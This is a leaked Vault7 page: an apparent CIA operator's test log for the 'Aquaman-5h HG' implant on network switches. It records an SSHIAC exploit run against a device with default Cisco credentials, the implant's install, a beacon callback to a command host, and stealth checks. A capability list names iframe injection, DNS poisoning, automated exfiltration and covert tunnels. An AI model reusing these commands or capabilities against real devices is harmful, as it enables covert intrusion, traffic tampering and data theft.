Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Owner: User #71467
Aquaman-5h HG 3.3.1 - Full Test
Aquaman-5h HG 3.3.1 - Full Test
Xetrron delivered Aquaman-5h HG 3.3.1 with a fix to EAREnterprise Archive 5244 (snooping causing err-disable). Plan is to perform a full test of this Aquaman delivery.
Testing Summary
CURRENT STATUS - CPU seems to hit a max exery minute of 11% or so without HG installed, then install HG and it drops to 7% due to CPU scaling? Left off in the middle of testing how high CPU goes for the ten minutes after an HG uninstall. I had seen a peak of about 25% the first time through, wanted to verify this.
When I left for the day, HG is installed. Next step - Just need to do a device uninstall_hg -mp -f and monitor how high the CPU goes afterwards to complete this test.
Progress/Notes
4/16/15
- Collect Baseline information for use in later comparisons
- Deleted all previous crashinfo files from flash card of Target Device
- Reloaded Target Device
- Collected baseline files with output of show tech, dir all, show mem and CPU, show log
- Used memory - 26975916 (b)
- CPU - 5%/0%; one minute: 6%; five minutes: 6%
- Ran RANCID - collected version 1.6
- Install/Uninstall HG without leave behind
- SSHIAC attack - ./sshiac --ip 172.31.255.14:22 --l cisco:cisco password
- LG EC-125 DHDiffie-Hellman encryption EC-60 EC-159 M - these codes are acceptable per readme
- Observed CPU during attack: 46% highest spike
- Used memory after SSHIAC attack - 26966496 (b)
- Install HG
- Left the interpacket delay at 1s (not directed to change it in readme, and I'm following the readme)
- hg_start - result success - Result: 0x00000001
- Observed CPU during install: 19% highest CPU spike
- Used memory after HG install - 29893996 (b)
- no commands from attack or install observed in show history
- Establish HG Comms
- Edited aquaman-5h.txt file - replaced <INT> with eth0 and <IP TO TRIGGER> with 192.168.21.10
- Ran prep-ct.sh
- Established CTCounter Terrorism session - Observed 19% spike during SSLSecure Socket Layer handshake
- beacon call_base_back https 172.20.12.22 443
- Used memory after CTCounter Terrorism session - 29863488 (b)
- Hit tab twice:
[192.168.21.10]>
aliases ca collect device encryption https mitm packet redir tun
beachhead capability communication dns file ilm mode process scramble verbosity
beacon cmd compression ebroker filesystem memory module quit socket web-
Capability Module Installed? SMITE (iframe injection) FilterBroker Yes Scavenger (Packet Collector) Beacon Ramjet (Data Collector) DataCollection No Thundercracker (automated exfil) Mixmaster (packet scrambler) ACE (command execution) ACE Yes Drillbit (covert tunnel) Tunnel Yes DNS Check-in Scrapper (redirector) DIVRT (dns poison) FilterBroker Yes Snooping Yes Trigger Yes
-
- HG Base version 3.3.1
- Uninstall HG
- device uninstall_hg -mp -f
- no syslog messages generated
- Used memory after uninstall 26954800 (b)
- Observed CPU during uninstall - 12%
- Output from show proc cpu history - shows slightly lower peak CPU for one minute with HG installed (7-8% with HG vs 9-11% without HG)
After uninstall - CPU utilization for five seconds: 5%/0%; one minute: 6%; five minutes: 6%4/17/15
- SSHIAC attack - ./sshiac --ip 172.31.255.14:22 --l cisco:cisco password
- Install/Uninstall HG with leave behind
- Reloaded to start with a clean Target Device
- SSHIAC attacked successfully
- Installed hg with leave behind
- No syslogs, cpu and mem as expected, nothing alerting in show history
- Establish HG comms - success, no alerting events
- Uninstall HG
- device uninstall_hg -f
- After uninstall, was able to successfully communicate with remote - broad
- Reinstall HG
- hg_start_leave_behind - success
- Established comms
- device uninstall_hg -mp -f
- Basic command and control
- module show - modules running
- module stop Trigger - success
- module start Trigger.mod - success
- ilm refresh - success
- module show - success - Trigger module running
- Hit tab key to verify output of available commands
- mitm present, collect present - refer to table in 2c for complete listing
- dns show, web show, https show - snoop enabled for all three
- dns get_snooped_host_list_client 0 100 - seeds host in snooped list
- Boundary Test
- Run through list in HG Base Smoke Test Procedure - all failed gracefully
- CI Profile
- Collect output for comparison before install, with hg and after uninstall of hg- collected output in new files, will compare to previous test output
- Added to Rancid and ran once with HG, then uninstalled hg, reloaded switch, and ran rancid again to compare
- RANCID - ran with HG installed - no change to config, still on version 1.6
- RANCID - ran after uninstall - no change, still on version 1.6